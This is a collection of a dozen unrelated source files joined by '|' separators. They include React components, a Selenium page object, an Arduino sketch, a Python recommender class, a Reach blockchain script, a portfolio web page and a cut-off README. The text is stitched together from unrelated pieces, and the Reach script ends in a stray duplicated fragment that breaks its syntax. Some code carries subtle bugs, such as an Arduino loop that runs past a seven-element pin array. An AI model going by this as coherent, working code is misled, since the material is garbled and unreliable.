export default function TableItem({ item, index, competition, id }: any): any {
const { data: session } = useSession();
const [content, setContent] = useState();
const [odds, setOdds] = useState<any[]>([]);
const [filteredOdds, setFilteredOdds] = useState<any[]>([]);
const [hidden, setHidden] = useState<Boolean>(true);
const [bookMakers, setBookMakers] = useState<any[]>([]);
const [message, setMessage] = useState<string>("");
const fetchData = async () => {
const res = await fetch("/api/odds/odds");
const json = await res.json();
if (json.content) {
setContent(json.content);
}
if (json.data) {
setOdds(json.data);
setHidden(false)
}
};
// const fetchBookMakers = async () => {
// const res = await fetch("/api/odds/bookmakers");
// const json = await res.json();
// if (json.data) {
// // filter the bookmakers as per id request
// setBookMakers(json.data);
// }
// };
const handleViewClick = async () => {
let res = odds.filter((item: any) => item.fixture_id.includes(id));
console.log(res)
if(res.length > 1) {
setFilteredOdds(res);
setMessage('Matches Found')
}
if (res.length === 0) {
setMessage('No Matches Found')
}
};
const handleCollapseClick = async () => {
setHidden(true)
setMessage('')
};
// Fetch content from protected route
useEffect(() => {
fetchData();
}, [session]);
return (
<div className={styles.tableContainer} key={index}>
<h4 className={styles.tableTitle}>{competition}</h4>
<div className={styles.td}>
<div>
<p>
<strong>{item.home}</strong> vs <strong>{item.away}</strong> -{" "}
{item.country_name}
</p>
</div>
</div>
<div>
<div>
<p>
{new Date(item.start_time).toLocaleDateString("en-us", {
weekday: "long",
year: "numeric",
month: "short",
day: "numeric",
hour: "2-digit",
minute: "2-digit",
})}
</p>
</div>
<p>Fixture ID: {item.fixture_id}</p>
</div>
<br></br>
<button
value={item.fixture_id}
onClick={() => handleViewClick()}
className={styles.tableButton}
>
VIEW
</button>
<div className={styles.tableWrapper}>
<p>{message != "" && filteredOdds.length > 0 ? `${filteredOdds.length -1} ${message}` : message}</p>
{!hidden &&
filteredOdds &&
filteredOdds.map((item, index) => (
<div key={index} className={styles.tableContainer}>
<p>FIxture ID: {item.fixture_id}</p>
<div>Bookmaker ID: {item.bookmaker_id}</div>
{/* <div>Bookmakers: {bookMakers.map((bm: {bookmaker_id: string, name: string}, index) => {
let res = '';
// includes currently is also including the numbers with any match to the consecutive digits
if(bm.bookmaker_id === item.bookmaker_id) {
res = bm.name
return (<p key={index}><strong>{res}</strong></p>)
}
return null;
})}</div> */}
{/* <p>ODD TYPE: {item.odds_type}</p> */}
{/* <p>Market Parameters: {item.market_parameters}</p> */}
<ul>Price Names: {item.price_names && JSON.parse(item.price_names).map((item:any[], index:number) => (<li key={index}>{item}</li>))}</ul>
<ul>Prices: {item.prices && JSON.parse(item.prices).map((item:any[], index:number) => (<li key={index}>{item}</li>))}</ul>
</div>
))}
</div>
<button
onClick={() => handleCollapseClick()}
className={styles.tableButton}
>
HIDE
</button>
</div>
);
}
|
__author__ = 'prahlad.sharma'
from virgin_utils import *
class Settings(General):
"""
Page class for Setting Page
"""
def __init__(self, web_driver):
"""
To initialise the locators
:param web_driver:
"""
super().__init__()
self.webDriver = web_driver
self.locators = self.dict_to_ns({
"setting_page_title": "//div[@class='column title']//span[contains(text(),'Settings')]",
"change_ship": "//span[contains(text(),'CHANGE SHIP')]",
"ship_name": "//div[@class='has-text-centered' and contains(text(),'%s')]",
"chip_ship_popup_header": "//span[contains(text(),'Change Ship')]",
"change_button": "//button[contains(@class,'button is-primary is-fullwidth')]//span[contains(text(),"
"'CHANGE')]",
"cancel": "//button/span[contains(text(),'CANCEL')]",
})
def verify_setting_page_title(self):
"""
Function to verify page title
"""
self.webDriver.wait_till_element_appear_on_screen(element=self.locators.setting_page_title, locator_type='xpath'
)
self.webDriver.allure_attach_jpeg('setting_page_title')
screen_title = self.webDriver.get_text(element=self.locators.setting_page_title, locator_type='xpath')
if screen_title == "Settings":
logger.debug("User is landed on Setting page")
else:
raise Exception("User is not landed on Setting page")
def click_change_ship_button(self):
"""
Function to click on Change Ship Button
"""
self.webDriver.click(element=self.locators.change_ship, locator_type='xpath')
screen_title = self.webDriver.get_text(element=self.locators.chip_ship_popup_header, locator_type='xpath')
if screen_title == "Change Ship":
self.webDriver.allure_attach_jpeg('pending_approval')
logger.debug("User is landed on Change Ship Popup")
else:
raise Exception("User is not landed on Change Ship popup")
def select_ship_from_list(self, ship_name_to_select):
"""
Function to select the ship
:param ship_name_to_select:
"""
self.webDriver.get_text(element=self.locators.ship_name % ship_name_to_select, locator_type='xpath')
def click_change(self):
"""
Function to click on Change button
"""
self.webDriver.click(element=self.locators.change_button, locator_type='xpath')
def click_cancel(self):
"""
Function to click on Cancel button
"""
self.webDriver.click(element=self.locators.cancel, locator_type='xpath')
|
import React, { useState } from 'react';
import { createTheme, ThemeProvider } from '@mui/material/styles';
import CssBaseline from '@mui/material/CssBaseline';
import Container from '@mui/material/Container';
import './index.css';
const theme = createTheme({
palette: {
type: 'dark', // Dark theme
primary: {
main: '#6B46C1', // Purple accent color
},
background: {
default: '#222', // Dark background color (adjust to your preference)
paper: '#333', // Darker background for paper elements (adjust as needed)
},
},
});
function App() {
const [text, setText] = useState('');
const [selectedVoice, setSelectedVoice] = useState('');
const handleTextChange = (e) => {
setText(e.target.value);
};
const handleVoiceChange = (e) => {
setSelectedVoice(e.target.value);
};
const handleSpeak = () => {
// Implement TTS logic using IBM Watson here
// Play the generated speech
};
return (
<ThemeProvider theme={theme}>
<CssBaseline />
<Container maxWidth="sm">
<div className="mt-8 text-center">
<h1 className="text-4xl font-semibold text-purple-500">FlexTTS</h1>
<div className="mt-4">
<textarea
value={text}
onChange={handleTextChange}
placeholder="Enter text..."
className="w-full p-2 mb-4 rounded-lg bg-gray-800 text-white"
rows="4"
></textarea>
<select
value={selectedVoice}
onChange={handleVoiceChange}
className="w-full p-2 mb-4 rounded-lg bg-gray-800 text-white"
>
<option value="" disabled>
Select a voice...
</option>
{/* Populate options with available voices */}
</select>
<button
onClick={handleSpeak}
className="w-full bg-purple-500 hover:bg-purple-600 text-white font-bold py-2 px-4 rounded-lg"
>
Speak
</button>
</div>
</div>
</Container>
</ThemeProvider>
);
}
export default App;
|
import { View, Text, VStack, Pressable, Button, InputField } from "@gluestack-ui/themed";
import {
DrawerContentComponentProps,
DrawerContentScrollView,
createDrawerNavigator,
} from "@react-navigation/drawer";
import React, { useEffect, useState } from "react";
import DashboardScreen from "../screens/Drawer/DashboardScreen";
import { Image } from "@gluestack-ui/themed";
import SettingScreen from "../screens/Drawer/SettingScreen";
import { NavigationProp, useIsFocused, useNavigation } from "@react-navigation/native";
import TransactionScrenn from "../screens/Drawer/TransactionScreen";
import { rootStackDrawerList } from "../types";
import { Alert } from "react-native";
import { getItem } from "../utils/storage";
import AsyncStorage from "@react-native-async-storage/async-storage";
import { rootStackParamList } from "../types/rootStackParams";
import { StackNavigationProp } from "@react-navigation/stack";
const Drawer = createDrawerNavigator<rootStackDrawerList>();
export default function DrawerRoute() {
return (
<Drawer.Navigator drawerContent={DrawerContent} screenOptions={{
headerStyle: {
backgroundColor: "#fb923c",
},
headerTintColor: "white",
headerTitleStyle: {
color: "white",
},
}}>
<Drawer.Screen name="dashboard" component={DashboardScreen} />
<Drawer.Screen name="transaction" component={TransactionScrenn} />
</Drawer.Navigator>
);
}
//// Drawer Content
function DrawerContent({
descriptors,
navigation,
state,
}: DrawerContentComponentProps): React.ReactNode {
const [photo, setPhoto] = useState<null | string>(null)
const [name, setName] = useState<null | string>(null)
const navigate = useNavigation<StackNavigationProp<rootStackParamList, "main">>()
const focus = useIsFocused();
const getUser = async () => {
const getPhoto = getItem('photo')
const getName = getItem('name')
const [photo, name] = await Promise.all([getPhoto, getName])
setPhoto(photo || null)
setName(name || null)
}
useEffect(() => {
getUser()
}, [focus]);
return (
<DrawerContentScrollView>
<VStack mt={"$12"}>
<View alignItems="center" gap={"$4"}>
<Image
source={{
uri: photo || "https://www.kindpng.com/picc/m/451-4517876_default-profile-hd-png-download.png",
}}
rounded={"$full"}
borderWidth={"$1"}
borderColor="$trueGray200"
alt="profile picture"
/>
<Text>{name || "nama user"}</Text>
</View>
<View mx={"$4"} mt={"$8"} gap={"$2"}>
{state.routes.map((route) => (
<Pressable
key={route.key}
px={"$4"}
py={"$2"}
rounded={"$xl"}
bg={
descriptors[route.key].navigation.isFocused()
? "$blue200"
: "white"
}
onPress={() => navigation.jumpTo(route.name)}
>
<Text
color={
descriptors[route.key].navigation.isFocused()
? "$blue500"
: "$trueGray500"
}
textTransform="capitalize"
>
{route.name}
</Text>
</Pressable>
))}
<Pressable
px={"$4"}
py={"$2"}
rounded={"$xl"}
borderWidth={"$1"}
borderColor="$red200"
bg="$red600"
onPress={() => {
Alert.alert(
"Apa kamu yakin?",
"Apa kamu yakin untuk logout?",
[
{
text: "No",
style: "cancel"
},
{
text: "Yes",
onPress: (value) => {
},
}
],
// {onDismiss: () => {}}
)
}}
>
<Text
color="$amber50"
textTransform="capitalize"
onPress={() => {
Alert.alert("yakin logout?", "kamu akan logout lo!", [
{
text: "ya",
onPress: async () => {
await AsyncStorage.clear();
navigate.replace("login");
}
},
{
text: "batal"
}
]
)
}}
>
Logout
</Text>
</Pressable>
</View>
</VStack>
</DrawerContentScrollView>
);
}
|
<!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Thiago Souza</title>
<!--Estilo principal-->
<link rel="stylesheet" href="css/main.css">
<!--Fontes do site-->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Roboto+Condensed:ital,wght@0,300;0,400;0,700;1,300;1,700&display=swap" rel="stylesheet">
</head>
<body>
<header id="topo" class="cabecalho">
<div class="container">
<div class="logotipo">
<div class="logo"><a href="#apresentacao"><h2>TS</h2></a></div>
<!-- <h1>Thiago Souza</h1> -->
</div>
<nav class="menu">
<a href="#projetos">Projetos</a>
<a href="#sobre">Sobre</a>
<a href="#contato">Contato</a>
<a href="https://forms.gle/EUSFnz3WaXR5t57z8" target="_blank">Orçamento</a>
</nav>
<div class="menu2">
<button class="menu-hamburguer"><i class="fa-solid fa-bars"></i></button>
<button class="exit"><i class="fa-solid fa-x"></i></button>
<nav class="menu-oculto">
<ul>
<li><a href="#projetos">Projetos</a></li>
<li><a href="#sobre">Sobre</a></li>
<li><a href="#contato">Contato</a></li>
<li><a class="orcament" href="https://forms.gle/EUSFnz3WaXR5t57z8" target="_blank">Orçamento</a></li>
</ul>
</nav>
</div>
</div>
</header>
<main>
<section id="apresentacao" class="apresentacao">
<div class="container">
<div class="texto-apresentacao">
<p>Eu me chamo <span>Thiago Souza</span>, sou desenvolvedor <span>front-end</span> e estou aqui para ajudar você a desenvolver o seu projeto!</p>
</div>
<div class="redes">
<nav>
<a href="https://www.linkedin.com/in/thiago-souza-006874119/" target="_blank"><i class="fa-brands fa-linkedin"></i></a>
<a href="https://github.com/tjbass2021" target="_blank"><i class="fa-brands fa-github-square"></i></a>
<a href="https://www.instagram.com/thiago_souza.dev/" target="_blank"><i class="fa-brands fa-instagram-square"></i></a>
</nav>
</div>
<!-- <img class="foto" src="src/img/IMG-20190121-WA0024.jpg" alt=""> -->
</div>
</section>
<section id="projetos" class="projetos">
<div class="container">
<div class="projeto">
<div class="box-projeto">
<img src="src/img/card-desktop.png" alt="">
<div class="label">
<h3 class="titulo-projeto">Card organizador de links</h3>
<p class="descricao-projeto">HTML/CSS</p>
</div>
</div>
<a href="https://github.com/tjbass2021/card-de-apresentacao" target="_blank" class="ver-projeto">Ver projeto <i class="fa-solid fa-arrow-right-long"></i> <i class="fa-brands fa-github-alt"></i></a>
</div>
<div class="projeto">
<div class="box-projeto">
<img src="src/img/projeto2-mtg.png" alt="">
<div class="label">
<h3 class="titulo-projeto">Contador de MTG</h3>
<p class="descricao-projeto">HTML/CSS/JavaScript/<br>Bootstrap/JQuery</p>
</div>
</div>
<a href="https://github.com/tjbass2021/MTG-counter" class="ver-projeto" target="_blank">Ver projeto <i class="fa-solid fa-arrow-right-long"></i> <i class="fa-brands fa-github-alt"></i></a>
</div>
<!-- <div class="projeto">
<div class="box-projeto">
<img src="https://via.placeholder.com/150" alt="">
<div class="label">
<h3 class="titulo-projeto">Contador de MTG</h3>
<p class="descricao-projeto">Aqui é uma descrição de um projeto</p>
</div>
</div>
<a href="https://github.com/tjbass2021/MTG-counter" class="ver-projeto" target="_blank">Ver projeto <i class="fa-solid fa-arrow-right-long"></i> <i class="fa-brands fa-github-alt"></i></a>
</div> -->
</div>
</section>
<section id="sobre" class="sobre">
<div class="container">
<div class="linha"></div>
<h2>SOBRE</h2>
<div class="box-sobre">
<div class="box-box">
<img src="src/img/eu.png" alt="">
</div>
<div class="box-box">
<p>
Sou um brasileiro, potiguar, nascido no ano de 1994, apaixonado por música, poesia, quadrinhos,
ilustrações, Linux e programação. Aprecio a ideia de unir estes elementos, pois acredito que em
todos a capacidade criativa humana pode ser elevada a seu máximo, já que a possibilidade de abstração
está limitada somente ao potencial imaginativo de quem se aventura a explorar estes mundos.
</p>
<div class="redes">
<nav>
<a href="https://www.linkedin.com/in/thiago-souza-006874119/" target="_blank"><i class="fa-brands fa-linkedin"></i></a>
<a href="https://github.com/tjbass2021" target="_blank"><i class="fa-brands fa-github-square"></i></a>
<a href="https://www.instagram.com/thiago_souza.dev/" target="_blank"><i class="fa-brands fa-instagram-square"></i></a>
</nav>
</div>
</div>
</div>
<div class="linha"></div>
<h2>HABILIDADES</h2>
<div class="box-sobre habilidades">
<div class="box-box">
<h3>LINGUAGENS</h3>
<ul type="none">
<li><i class="fa-brands fa-html5"></i> HTML</li>
<li><i class="fa-brands fa-css3-alt"></i> CSS</li>
<li><i class="fa-brands fa-js-square"></i> JavaScript</li>
</ul>
</div>
<div class="box-box">
<h3>FRAMEWORKS</h3>
<ul type="none">
<li><i class="fa-brands fa-bootstrap"></i> Bootstrap</li>
<li><i class="fa-brands fa-js-square"></i> JQuery</li>
<li><i class="fa-brands fa-react"></i> React</li>
</ul>
</div>
</div>
</div>
</section>
<section id="contato">
<div class="container">
<div class="linha"></div>
<h2>CONTATO</h2>
<div class="box-sobre box-contato">
<div class="box-box">
<div class="caixa-fazer-projeto">
<div class="texto">
<p>Vamos fazer um</p>
<p>projeto juntos?</p>
</div>
<a href="https://forms.gle/EUSFnz3WaXR5t57z8" target="_blank" class="orcamento">Orçamento</a>
</div>
</div>
<div class="box-box">
<img src="src/img/DancingDoodle.svg" alt="">
</div>
</div>
<div class="linha"></div>
</div>
</section>
</main>
<footer id="rodape">
<div class="container">
<div class="box-footer">
<h2>Thiago Souza</h2>
<div class="endereco">
<p>Rio Grande do Norte - Brasil</p>
</div>
<div class="redes">
<nav>
<a href="https://www.linkedin.com/in/thiago-souza-006874119/" target="_blank"><i class="fa-brands fa-linkedin"></i></a>
<a href="https://github.com/tjbass2021" target="_blank"><i class="fa-brands fa-github-square"></i></a>
<a href="https://www.instagram.com/thiago_souza.dev/" target="_blank"><i class="fa-brands fa-instagram-square"></i></a>
</nav>
</div>
<div class="desenvolvimento">
<small><a href="https://github.com/tjbass2021" target="_blank"><i class="fa-solid fa-copyright"></i> 2022 - Desenvolvido por Thiago Souza</a></small>
</div>
</div>
</div>
</footer>
</body>
<!---Fonte de ícones-->
<script src="https://kit.fontawesome.com/a9733b5846.js" crossorigin="anonymous"></script>
<!--Scripts do menu e JQuery-->
<script src="js/jquery-3.6.0.min.js"></script>
<script src="js/menu.js"></script>
</html>
|
//this code uses a class to display different digits on a 4 digit 7 segment
class SevenSegmentDisplay { //this names the class
private:
int *pins; //defines the pins variable
SevenSegmentDisplay() {}; //constructor
public:
SevenSegmentDisplay(int pins[7]) { //public constructor
this->pins = pins;
}
//this method defines the pins 2 to 8 as OUTPUTS
void init() {
for (int i = 0; i < 8; i++) {
pinMode(pins[i], OUTPUT);
}
}
//this method creates an array for each number and displays those numbers
void display(int num) {
int numbers[10][7] = {
{1, 1, 1, 1, 1, 1, 0},
{0, 1, 1, 0, 0, 0, 0},
{1, 1, 0, 1, 1, 0, 1},
{1, 1, 1, 1, 0, 0, 1},
{0, 1, 1, 0, 0, 1, 1},
{1, 0, 1, 1, 0, 1, 1},
{1, 0, 1, 1, 1, 1, 1},
{1, 1, 1, 0, 0, 0, 0},
{1, 1, 1, 1, 1, 1, 1},
{1, 1, 1, 1, 0, 1, 1}
};
for (int i = 0; i < 7; i++) {
digitalWrite(pins[i], numbers[num][i]);
}
}
};
int my7pins[7]{2, 3, 4, 5, 6, 7, 8};
SevenSegmentDisplay my7(my7pins);
//this initializes the pins
void setup() {
my7.init();
}
//this loop displays the numbers 0 to 9
void loop() {
for (int i = 0; i < 10; ++i) {
my7.display(i);
delay(1000);
}
}
|
import React from 'react'
import PropTypes from 'prop-types'
import Router from 'next/router'
import Link from 'next/link'
import { AuthContext } from '@/contexts/AuthContext'
import { UserContext } from '@/app/contexts/UserContext'
import { ArtistContext } from '@/app/contexts/ArtistContext'
import { InterfaceContext } from '@/app/contexts/InterfaceContext'
import EditBlock from '@/app/EditBlock'
import Input from '@/elements/Input'
import Button from '@/elements/Button'
import Error from '@/elements/Error'
import MarkdownText from '@/elements/MarkdownText'
import useLogin from '@/app/hooks/useLogin'
import { getLocalStorage, setLocalStorage } from '@/helpers/utils'
import { acceptProfileInvite } from '@/app/helpers/artistHelpers'
import * as ROUTES from '@/app/constants/routes'
import copy from '@/app/copy/LoginPageCopy'
import { trackLogin } from '@/helpers/trackingHelpers'
import { fireSentryError } from '@/app/helpers/sentryHelpers'
import styles from '@/LoginPage.module.css'
const LoginEmailForm = ({ initialEmail, className }) => {
// IMPORT CONTEXTS
const { rejectedPagePath } = React.useContext(AuthContext)
const { setNoArtist, storeArtist } = React.useContext(ArtistContext)
const { storeUser, userError } = React.useContext(UserContext)
// GLOBAL LOADING
const { toggleGlobalLoading } = React.useContext(InterfaceContext)
// DEFINE PAGE STATE
const [email, setEmail] = React.useState(initialEmail)
const [password, setPassword] = React.useState('')
const [isEmailEdit, setIsEmailEdit] = React.useState(! initialEmail)
const [error, setError] = React.useState(null)
// GET LOGIN FUNCTION
const { loginWithEmail } = useLogin()
const inviteToken = getLocalStorage('inviteToken')
let selectedArtistId = ''
// HANDLE CHANGES IN FORM
const handleChange = (e) => {
setError(null)
switch (e.target.name) {
case 'email':
setEmail(e.target.value)
break
case 'password':
setPassword(e.target.value)
break
default:
break
}
}
// END HANDLE CHANGES IN FORM
// HANDLE CLICK ON LOG IN BUTTON
const onFormSubmit = async (e) => {
e.preventDefault()
setError(null)
toggleGlobalLoading(true)
// Login with email
const { loginError, tokenError } = await loginWithEmail(email, password)
if (loginError) {
toggleGlobalLoading(false)
setEmail('')
setPassword('')
setError(loginError)
return
}
if (tokenError) {
// Sentry error
fireSentryError({
category: 'login',
label: 'failure',
action: `no token returned from emailLogin: ${tokenError.message}`,
})
return
}
if (inviteToken) {
const { res, error } = await acceptProfileInvite(inviteToken)
setLocalStorage('inviteToken', '')
if (error) {
toggleGlobalLoading(false)
setError(error)
return
}
selectedArtistId = res.profileId
}
const { user, error } = await storeUser()
if (error) {
toggleGlobalLoading(false)
setEmail('')
setPassword('')
setError(error)
return
}
if (user.artists.length > 0) {
if (! inviteToken) {
selectedArtistId = user.artists[0].id
}
const { error } = await storeArtist(selectedArtistId)
if (error) {
toggleGlobalLoading(false)
setEmail('')
setPassword('')
setError(error)
return
}
// TRACK LOGIN
trackLogin({ authProvider: 'password', userId: user.id })
// REDIRECT
const initialPage = rejectedPagePath
if (inviteToken) {
Router.push(ROUTES.PROFILE_INVITE_SUCCESS)
return
}
Router.push(initialPage || ROUTES.HOME)
} else {
setNoArtist()
// TRACK LOGIN
trackLogin({ authProvider: 'password', userId: user.id })
// REDIRECT
Router.push(user.is_email_verification_needed ? ROUTES.CONFIRM_EMAIL : ROUTES.POSTS)
}
}
return (
<form
onSubmit={onFormSubmit}
className={className}
>
<Error error={userError || error} />
<h2 className="mb-4 text-xl">Enter your {! initialEmail ? 'email &' : ''} password</h2>
<MarkdownText className={[styles.tcText, 'small--text', 'mb-4'].join(' ')} markdown={copy.tcText('logging in')} />
{isEmailEdit ? (
<Input
className={styles.input}
name="email"
placeholder=""
value={email || ''}
handleChange={handleChange}
type="email"
label="Email"
version="box"
width={100}
autoFocus
/>
) : (
<EditBlock
value={email}
isEditMode={isEmailEdit}
setIsEditMode={setIsEmailEdit}
trackComponentName="LoginEmailform"
className="mb-4"
/>
)}
<Input
className={styles.input}
name="password"
placeholder=""
value={password}
handleChange={handleChange}
type="password"
label="Password"
version="box"
width={100}
/>
{/* Forgot password link */}
<p className={['small--p', styles.forgotPasswordLink].join(' ')}>
<Link href={ROUTES.PASSWORD_FORGET}>Forgot Password?</Link>
</p>
<Button
type="submit"
onClick={onFormSubmit}
className={[styles.submit, 'ml-auto'].join(' ')}
trackComponentName="LoginEmailForm"
>
Log in
</Button>
</form>
)
}
LoginEmailForm.propTypes = {
initialEmail: PropTypes.string,
className: PropTypes.string,
}
LoginEmailForm.defaultProps = {
initialEmail: '',
className: null,
}
export default LoginEmailForm
|
"""
Reference: Oren Barkan and Noam Koenigstein. "Item2Vec: Neural Item Embedding for Collaborative Filtering"
(https://arxiv.org/pdf/1603.04259.pdf)
author: massquantity
"""
from gensim.models import Word2Vec
from tqdm import tqdm
from ..bases import GensimBase
class Item2Vec(GensimBase):
def __init__(
self,
task,
data_info=None,
embed_size=16,
norm_embed=False,
window_size=None,
n_epochs=5,
n_threads=0,
seed=42,
k=10,
eval_batch_size=8192,
eval_user_num=None,
lower_upper_bound=None,
with_training=True,
):
super().__init__(
task,
data_info,
embed_size,
norm_embed,
window_size,
n_epochs,
n_threads,
seed,
k,
eval_batch_size,
eval_user_num,
lower_upper_bound,
)
assert task == "ranking", "Item2Vec is only suitable for ranking"
self.all_args = locals()
if with_training:
self.data = self.get_data()
def get_data(self):
return ItemCorpus(self.user_consumed)
def build_model(self):
model = Word2Vec(
vector_size=self.embed_size,
window=self.window_size,
sg=1,
hs=0,
negative=5,
seed=self.seed,
min_count=1,
workers=self.workers,
sorted_vocab=0,
)
model.build_vocab(self.data, update=False)
return model
class ItemCorpus:
def __init__(self, user_consumed):
self.item_seqs = user_consumed.values()
self.i = 0
def __iter__(self):
for items in tqdm(self.item_seqs, desc=f"Item2vec iter{self.i}"):
yield list(map(str, items))
self.i += 1
|
import React, { useState, useEffect } from "react";
import { useContext } from "react";
import { Link, useNavigate } from "react-router-dom";
import ChatContext from "../context/chat/ChatContext";
const ItemDetailsPopup = ({ id, name, category, description, sellerId, condition, created_at, price, imageUrl, onClose }) => {
const [isPopupVisible, setIsPopupVisible] = useState(false);
const navigate = useNavigate();
useEffect(() => {
// Use a setTimeout to delay the appearance of the popup
const timeout = setTimeout(() => {
setIsPopupVisible(true);
}, 300); // Adjust the delay time (in milliseconds) as needed
// Clean up the timeout when the component unmounts
return () => clearTimeout(timeout);
}, []);
const handleClose = () => {
setIsPopupVisible(false);
// Delay the closing of the popup to allow the animation to complete
setTimeout(() => {
onClose();
}, 300); // Adjust the delay time to match your transition duration
};
// take all the constrains to set the message state
const {
createNewChat,
setSelectedChat,
setChatId,
selectedChat
} = useContext(ChatContext)
const handleMessageClick = async() => {
const chatId = await createNewChat(sellerId);
setChatId(chatId);
setSelectedChat(chatId);
console.log(selectedChat);
navigate('/chatpage');
}
return (
<div className={`fixed inset-0 h-full w-full bg-black bg-opacity-30 backdrop-blur-sm flex justify-center items-center z-50 transition-opacity ease-in duration-500 ${isPopupVisible ? "opacity-100" : "opacity-0"}`}>
{/* Create a centered square popup */}
<div className={`bg-white rounded-lg shadow-md w-[90%] sm:w-[580px] h-min max-h-[600px] p-4 text-center z-10 transform transition-transform ease-in duration-500 ${isPopupVisible ? "scale-100" : "scale-90"}`}>
{/* container to show all the details */}
<div className="flex flex-col justify-between">
{/* top details div */}
<div className="flex flex-col sm:flex-row">
<img src={imageUrl} alt='item-image' className="w-[300px] h-[300px] aspect-square object-cover p-3" />
{/* name, price, seller */}
<div className="flex flex-col justify-end m-4 p-3 items-start">
<h4 className="text-[#1faa59] text-xl font-bold">₹ {price}</h4>
<h4 className="text-2xl">{name}</h4>
<p className="text-sm italic whitespace-nowrap">by <span className="italic text-gray-400 text-sm">{sellerId}</span></p>
</div>
</div>
{/* to store description and condition */}
<div className="flex flex-col items-start ml-4">
<p className="break-words text-left">
Description:
<span className="italic text-sm text-gray-500">
{description}
</span>
</p>
<p className="break-words text-left">
Condition:
<span className="italic text-sm text-gray-500">
{condition}
</span>
</p>
</div>
{/* buttons */}
<div className="flex gap-x-5 justify-center">
{/* Close button */}
<button
onClick={handleMessageClick}
className="border border-blue-700 bg-blue-500 text-white px-4 py-2 mt-4 rounded-md hover:bg-blue-600 focus:outline-none transition-all duration-300 ease-out"
>
Message
</button>
{/* Close button */}
<Link onClick={handleClose}
className="border border-blue-700 bg-blue-500 text-white px-4 py-2 mt-4 rounded-md hover:bg-blue-600 focus:outline-none
transition-all duration-300 ease-out"
>Close</Link>
</div>
</div>
</div>
</div>
);
};
export default ItemDetailsPopup;
|
import {loadStdlib} from '@reach-sh/stdlib';
import * as backend from './build/index.main.mjs';
import { ask, yesno } from '@reach-sh/stdlib/ask.mjs';
const stdlib = loadStdlib(process.env);
const fmt = (x) => stdlib.formatCurrency(x, 4);
const acc = await stdlib.newTestAccount(stdlib.parseCurrency(10000));
//Define common interface for both players
const Shared = (who) => ({
see: async(outcome) => {
if(outcome){
console.log('Alice is still here ')
}
else console.log('Alice is not here')
},
finalOutcome: async(out) => {
if(out == 1 ){
console.log('TIMES UP')
console.log('Alice is present')
}
else {
console.log('TIMES UP')
console.log('Alice is not Present')
}
},
seeBalance: async() => {
console.log(`Your token balance is ${fmt(await stdlib.balanceOf(acc))}`)
},
informTimeout: () => {
console.log(`${who} observed a timeout`);
},
});
const Alice = {
...Shared('Alice'),
dPrice: async () => {
const isPrice = await ask(
`How much do you want to put in the vault?`, stdlib.parseCurrency
)
return isPrice;
},
attendance: async () => {
const isResponse = await ask(`Alice are you still there yes or no?`, yesno);
return isResponse;
},
deadline: async () => {
const isCountdown = await ask(`Alice enter the countdown limit: `, (j=>j));
return isCountdown;
}
};
//Define interface for Bob
const Bob = {
...Shared('Bob'),
acceptTerms: async () => {
const terms = await ask(`Bob do you accept the terms yes or no?`, yesno);
if(terms){
return terms;
}
else {
process.exit();
}
},
seeBal1: async(x) => {
if(x){
console.log(`Your token balance is ${fmt(await stdlib.balanceOf(acc))}`)
}
else {
console.log('BOOYAH YOU JUST MADE THE BANK')
console.log(`Your current balance is ${fmt(await stdlib.balanceOf(acc))}`)
}
},
}
//Program starts here
const program = async () => {
const isDeployer = await ask(
`Are you the deployer?`,yesno)
let isAlice = null;
const who = isDeployer? 'Alice' : 'Bob';
console.log(`Starting as ${who}`);
let ctc = null;
if(isDeployer){ //if deployer
const getBalance = async () => fmt(await stdlib.balanceOf(acc));
const before = await getBalance()
console.log('Your current balance is: ' + before)
ctc = acc.contract(backend);
backend.Alice(ctc, {
...Alice,
});
const info = JSON.stringify(await ctc.getInfo())
console.log('Contract Info: ', info);
}
else{
const getBalance = async () => fmt(await stdlib.balanceOf(acc));
const before = await getBalance()
console.log('Your current balance is: ' + before)
console.log(`Your address is ${acc.getAddress()}`)
const info = await ask(
`Please paste the contract information here:`,
JSON.parse
);
ctc = acc.contract(backend, info);
isAlice ? backend.Bob(ctc, Bob) : backend.Bob(ctc, Bob)
console.log("Successfully attached");
}
}
await program();
?`,yesno)
let isA
|
import React, { ChangeEvent } from 'react';
import { Grid, TableContainer, Table } from '@mui/material';
import clsx from 'clsx';
import SharedTableHeader from './SharedTableHeader';
import SharedTableBody from './SharedTableBody';
import useStyles from './styles';
import { TableColumn, TableItemType, TableSubItemsType } from '.';
interface TableProps {
columns: TableColumn[];
rows: TableItemType[];
sortBy: string;
sortDirection: 'desc' | 'asc';
allSelected: boolean;
loading: boolean;
selectedItemsIds: string[];
xPadding?: boolean;
hasActionColumn?: boolean;
subRows?: TableSubItemsType;
onRequestSort: (property: string) => void;
selectAllCallback: () => void;
checkboxCallback: (
id: string,
) => (event: ChangeEvent<HTMLInputElement>, checked: boolean) => void;
hasNestedTable?: (item: TableItemType) => boolean;
getRowSubItems?: (item: TableItemType) => void;
}
const SharedTable: React.FC<TableProps> = ({
columns,
rows,
sortBy,
sortDirection,
allSelected,
loading,
selectedItemsIds,
xPadding = true,
hasActionColumn = false,
subRows,
onRequestSort,
selectAllCallback,
checkboxCallback,
hasNestedTable,
getRowSubItems,
}) => {
const classes = useStyles();
return (
<Grid
item
xs={12}
className={clsx('mb-9', {
['px-8']: xPadding,
})}
>
<TableContainer
component="div"
className={clsx('shadow scrollbar br-1', classes.tableContainer)}
>
<Table
stickyHeader
aria-label="custom pagination table"
className={clsx('p-6')}
>
<SharedTableHeader
columns={columns}
sortBy={sortBy}
sortDirection={sortDirection}
itemsSelected={selectedItemsIds.length !== 0}
allSelected={allSelected}
hasActionColumn={hasActionColumn}
onRequestSort={onRequestSort}
selectAllCallback={selectAllCallback}
/>
<SharedTableBody
columns={columns}
rows={rows}
loading={loading}
selectedItemsIds={selectedItemsIds}
hasActionColumn={hasActionColumn}
subRows={subRows}
checkboxCallback={checkboxCallback}
hasNestedTable={hasNestedTable}
getRowSubItems={getRowSubItems}
/>
</Table>
</TableContainer>
</Grid>
);
};
export default SharedTable;
|
# Gerenciador de Tarefas
O Gerenciador de Tarefas é uma plataforma desenvolvida para o controle e organização de atividades diárias. O sistema foi criado pensando na facilidade e eficácia, proporcionando uma experiência de usuário otimizada e funcionalidades essenciais para o gerenciamento de tarefas.
Características Principais:
